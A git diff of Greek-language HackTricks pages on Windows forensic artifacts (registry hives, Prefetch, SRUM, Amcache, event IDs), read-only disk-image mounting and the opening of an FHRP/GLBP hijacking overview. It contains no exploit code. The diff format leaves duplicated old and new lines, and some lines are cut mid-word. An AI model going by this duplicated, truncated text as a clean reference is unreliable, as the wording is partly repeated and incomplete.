Ένα **αρχείο OST** δημιουργείται από το Microsoft Outlook όταν ρυθμίζεται με **IMAP** ή έναν διακομιστή **Exchange**, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα αρχείο OST, μπορεί να χρησιμοποιηθεί το [**Πρόγραμμα προβολής OST του Kernel**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
@ -235,7 +235,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
### Πληροφορίες Καταγραφής των Windows
Το Μητρώο των Windows, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας συστήματος και χρήστη, περιέχεται σε αρχεία στους φακέλους:
Το Μητρώο των Windows, που αποθηκεύει εκτεταμένα δεδομένα δραστηριότητας συστήματος και χρήστη, περιέχεται σε αρχεία σε:
- `%windir%\System32\Config` για διάφορα υποκλειδιά `HKEY_LOCAL_MACHINE`.
- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`.
@ -248,8 +248,8 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
* **Επεξεργαστής Μητρώου**: Είναι εγκατεστημένος στα Windows. Είναι μια γραφική διεπαφή για την περιήγηση στο Μητρώο των Windows της τρέχουσας συνεδρίας.
* [**Εξερευνητής Μητρώου**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε μέσω του με μια γραφική διεπαφή. Περιλαμβάνει επίσης Σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει μια γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου μητρώου και περιλαμβάνει εξαρτήματα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, διαθέτει γραφική διεπαφή που επιτρέπει την περιήγηση μέσω του φορτωμένου μητρώου και περιλαμβάνει εξαρτήματα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
* [**Ανάκτηση Μητρώου των Windows**](https://www.mitec.cz/wrr.html): Ένα άλλο εφαρμογή με γραφική διεπαφή ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένου Στοιχείου
@ -264,6 +264,32 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Το αρχείο/κοιτώνας **SAM** περιέχει τις **κατακευές χρηστών, ομάδων και κωδικών πρόσβασης χρηστών** του συστήματος.
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, το μετρητή σύνδεσης, την πολιτική κωδικού πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να λάβετε τις **κατακευές** χρειάζεστε επίσης το αρχείο/κοιτώνα **SYSTEM**.
### Ενδιαφέρουσες καταχωρήσεις στο Μητρώο των Windows
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## Εκτελούμενα Προγράμματα
### Βασικές Διεργασίες των Windows
Σε [αυτήν την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διεργασίες των Windows για την ανίχνευση ύποπτων συμπεριφορών.
### Πρόσφατες Εφαρμογές των Windows
Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εκτελεσμένη εφαρμογή**, την **τελευταία φορά** που εκτελέστηκε, και τον **αριθμό των φορών** που εκτελέστηκε.
### BAM (Διαχειριστής Φόντου Δραστηριότητας)
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **την ώρα** που εκτελέστηκαν (η ώρα βρίσκεται μέσα στην τιμή Δεδομένων του μητρώου).
### Προεπιλογή των Windows
Η προεπιλογή είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **φέρνει σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσει περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα.
Η προεπιλογή των Windows αποτελείται από τη δημιουργία **προσωρινών αποθεμάτων των εκτελούμενων προγραμμάτων** για να μπορούν να φορτωθούν πιο γρήγορα. Αυτά τα αποθέματα δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει ένα όριο 128 αρχείων σε XP/VISTA
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -274,7 +300,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **φορτώνει προγράμματα γρηγορότερα** προβλέποντας τι θα φορτωθεί επόμενο. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\
Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, το **αριθμό** των **εκτελέσεων**, τα **αρχεία** που **άνοιξε**, το **όγκο** που **άρχισε**, την **πλήρη** **διαδρομή**, τα **χρονικά πλαίσια** και τις **σφραγίδες χρόνου**.
Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, το **αριθμό** των **εκτελέσεων**, τα **αρχεία** που **άνοιξαν**, το **εύρος** **πρόσβασης**, την **πλήρη** **διαδρομή**, τα **χρονικά πλαίσια** και τις **σφραγίδες χρόνου**.
Μπορείτε να έχετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/).
@ -289,12 +315,12 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
* Απεσταλμένα Bytes
* Ληφθέντα Bytes
* Διεπαφή Δικτύου
* Διάρκεια σύνδεσης
* Διάρκεια διεργασίας
* Διάρκεια Σύνδεσης
* Διάρκεια Διεργασίας
Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά.
Μπορείτε να αποκτήσετε τα δεδομένα από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
Μπορείτε να ανακτήσετε τα δεδομένα από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
@ -308,7 +334,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
- Τελευταία ενημέρωση ώρας του ShimCache
- Σημαία Εκτέλεσης Διεργασίας
Τα δεδομένα αυτά αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες βάσει της έκδοσης του λειτουργικού συστήματος:
Τα δεδομένα αυτά αποθηκεύονται στο μητρώο σε συγκεκριμένες τοποθεσίες με βάση την έκδοση του λειτουργικού συστήματος:
- Για το XP, τα δεδομένα αποθηκεύονται στο `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 καταχωρήσεων.
- Για το Server 2003, καθώς και για τις εκδόσεις των Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, με χωρητικότητα 512 και 1024 καταχωρήσεων αντίστοιχα.
@ -323,7 +349,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 hashes τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση των περιεχομένων του αρχείου **Amcache.hve** και την έξοδο των αποτελεσμάτων σε μορφή CSV:
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την έξοδο των αποτελεσμάτων σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
@ -335,7 +361,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα W7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για τον διαχωρισμό του αρχείου.
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για τον αναλυτικό έλεγχο του αρχείου.
### Προγραμματισμένες εργασίες
@ -343,7 +369,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### Υπηρεσίες
Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
Μπορείτε να τις βρείτε στο μητρώο στη διαδρομή `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
### **Windows Store**
@ -365,55 +391,51 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
* Συστήματα που εμπλέκονται (όνομα υπολογιστή, IP)
* Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
Τα αρχεία καταγραφής βρίσκονται στο `C:\Windows\System32\config` πριν τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε **μορφή XML** και χρησιμοποιούν την επέκταση **.evtx**.
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
Μπορούν να οπτικοποιηθούν από τον Ερευνητή Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
## Κατανόηση της Καταγραφής Συμβάντων Ασφαλείας των Windows
## Κατανόηση της Καταγραφής Γεγονότων Ασφάλειας των Windows
Τα συμβάντα πρόσβασης καταγράφονται στο αρχείο ρυθμίσεων ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα συμβάντα αντικαθίστανται. Τα καταγεγραμμένα συμβάντα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινόχρηστους πόρους.
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρυθμίσεων ασφαλείας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινόχρηστους πόρους.
### Κύρια Αναγνωριστικά Συμβάντων για Αυθεντικοποίηση Χρήστη:
### Κύρια IDs Γεγονότων για Αυθεντικοποίηση Χρήστη:
- **EventID 4624**: Υποδεικνύει επιτυχή αυθεντικοποίηση χρήστη.
- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης.
- **EventIDs 4634/4647**: Αντιπροσωπεύουν συμβάντα αποσύνδεσης χρήστη.
- **EventID 4625**: Σημαίνει αποτυχία αυθεντικοποίησης.
- **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρήστη.
- **EventID 4672**: Δηλώνει σύνδεση με διαχειριστικά προνόμια.
#### Υπο-τύποι εντός EventID 4634/4647:
- **Διαδραστικό (2)**: Άμεση σύνδεση χρήστη.
- **Δίκτυο (3)**: Πρόσβαση σε κοινόχρηστους φακέλους.
- **Παρτίδα (4)**: Εκτέλεση διεργασιών παρτίδας.
- **Πακέτο (4)**: Εκτέλεση διεργασιών πακέτων.
- **Υπηρεσία (5)**: Εκκίνηση υπηρεσιών.
- **Διαμεσολαβητής (6)**: Αυθεντικοποίηση διαμεσολαβητή.
- **Διαμεσολαβητής (6)**: Πιστοποίηση διαμεσολαβητή.
- **Ξεκλείδωμα (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης.
- **Δίκτυο Καθαρού Κειμένου (8)**: Μετάδοση κωδικού καθαρού κειμένου, συχνά από το IIS.
- **Νέα Διαπιστευτήρια (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση.
- **Απομακρυσμένο Διαδραστικό (10)**: Απομακρυσμένη επιφάνεια εργασίας ή σύνδεση υπηρεσιών τερματικού.
- **Απομακρυσμένη Διαδραστική (10)**: Απομακρυσμένη σύνδεση επιφάνειας εργασίας ή υπηρεσίες τερματικού.
- **Διαδραστικό Κρυφό (11)**: Σύνδεση με κρυφά διαπιστευτήρια χωρίς επικοινωνία με ελεγκτή τομέα.
- **Απομακρυσμένο Διαδραστικό Κρυφό (12)**: Απομακρυσμένη σύνδεση με κρυφά διαπιστευτήρια.
- **Απομακρυσμένο Διαδραστικό (12)**: Απομακρυσμένη σύνδεση με κρυφά διαπιστευτήρια.
- **Κρυφό Ξεκλείδωμα (13)**: Ξεκλείδωμα με κρυφά διαπιστευτήρια.
#### Κωδικοί Κατάστασης και Υπο-Κατάστασης για το EventID 4625:
- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδεικνύει επίθεση απαρίθμησης ονομάτων χρηστών.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή προσπάθεια μαντεψιάς ή επίθεση με βία.
- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδωθεί - Μπορεί να ακολουθήσει μια επίθεση με πολλαπλές αποτυχημένες συνδέσεις.
- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή προσπάθεια μαντεψιάς κωδικού ή επίθεση με βία.
- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδωθεί - Μπορεί να ακολουθήσει μια επίθεση με μαζικές αποτυχημένες συνδέσεις.
- **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες προσπάθειες πρόσβασης σε απενεργοποιημένους λογαριασμούς.
- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδεικνύει προσπάθειες πρόσβασης εκτός των ορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
- **0xC000006F**: Σύνδεση εκτός των επιτρεπόμενων ωρών - Υποδεικνύει προσπάθειες πρόσβασης εκτός των ορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης.
- **0xC0000070**: Παραβίαση περιορισμών σταθμού εργασίας - Μπορεί να είναι μια προσπάθεια σύνδεσης από μη εξουσιοδοτημένη τοποθεσία.
- **0xC0000193**: Λήξη λογαριασμού - Προσπάθε
#### Γεγονότα Τροφοδοσίας Συστήματος
- **0xC0000193**: Λήξη λογαρια
#### Συμβάντα Τροφοδοσίας Συστήματος
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό.
#### Διαγραφή Καταγραφών
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση ψηφιακών αποδεικτικών στοιχείων.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Το EventID 1102 ασφαλείας σήμανε τη διαγραφή καταγραφών, ένα κρίσιμο συμβάν για την ανάλυση ψηφιακών αποδεικτικών στοιχείων.

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας να διαφημίζεται στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -108,7 +108,7 @@ disk.img1 2048 208895 206848 101M 1 FAT12
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -116,10 +116,10 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε τη **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στη **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε τη [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -2,32 +2,33 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Επισκόπηση Απάτης FHRP Hijacking
### Εισαγωγή στο FHRP
Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου με τη συγχώνευση πολλαπλών δρομολογητών σε μια εικονική μονάδα, βελτιώνοντας έτσι τη διανομή φορτίου και την ανοχή σφαλμάτων. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτή τη σουίτα.
Το FHRP σχεδιάστηκε για να παρέχει ανθεκτικότητα δικτύου με τη συγχώνευση πολλαπλών δρομολογητών σε μια μοναδική εικονική μονάδα, βελτιώνοντας έτσι τη διανομή φορτίου και την ανοχή σε βλάβες. Η Cisco Systems εισήγαγε πρωτόκολλα όπως το GLBP και το HSRP σε αυτή τη σουίτα.
### Εισαγωγή στο Πρωτόκολλο GLBP
Η δημιουργία της Cisco, το GLBP, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας UDP στη θύρα 3222 για την επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, υποθέτεται ότι είναι εκτός λειτουργίας. Ωστόσο, αυτοί οι χρονομετρητές δεν είναι σταθεροί και μπορούν να τροποποιηθούν.
Η δημιουργία της Cisco, το GLBP, λειτουργεί στο στοίβα TCP/IP, χρησιμοποιώντας UDP στη θύρα 3222 για επικοινωνία. Οι δρομολογητές σε μια ομάδα GLBP ανταλλάσσουν πακέτα "hello" σε διαστήματα 3 δευτερολέπτων. Αν ένας δρομολογητής αποτύχει να στείλει αυτά τα πακέτα για 10 δευτερόλεπτα, υποθέτεται ότι είναι εκτός λειτουργίας. Ωστόσο, αυτοί οι χρονομετρητές δεν είναι σταθεροί και μπορούν να τροποποιηθούν.
### Λειτουργίες και Διανομή Φορτίου του GLBP
Το GLBP ξεχωρίζει επιτρέποντας τη διανομή φορτίου σε δρομολογητές χρησιμοποιώντας ένα εικονικό IP συνδεδεμένο με πολλές εικονικές διευθύνσεις MAC. Σε μια ομάδα GLBP, κάθε δρομολογητής συμμετέχει στην προώθηση πακέτων. Αντίθετα με το HSRP/VRRP, το GLBP προσφέρει γνήσια ισορροπία φορτίου μέσω διαφόρων μηχανισμών:
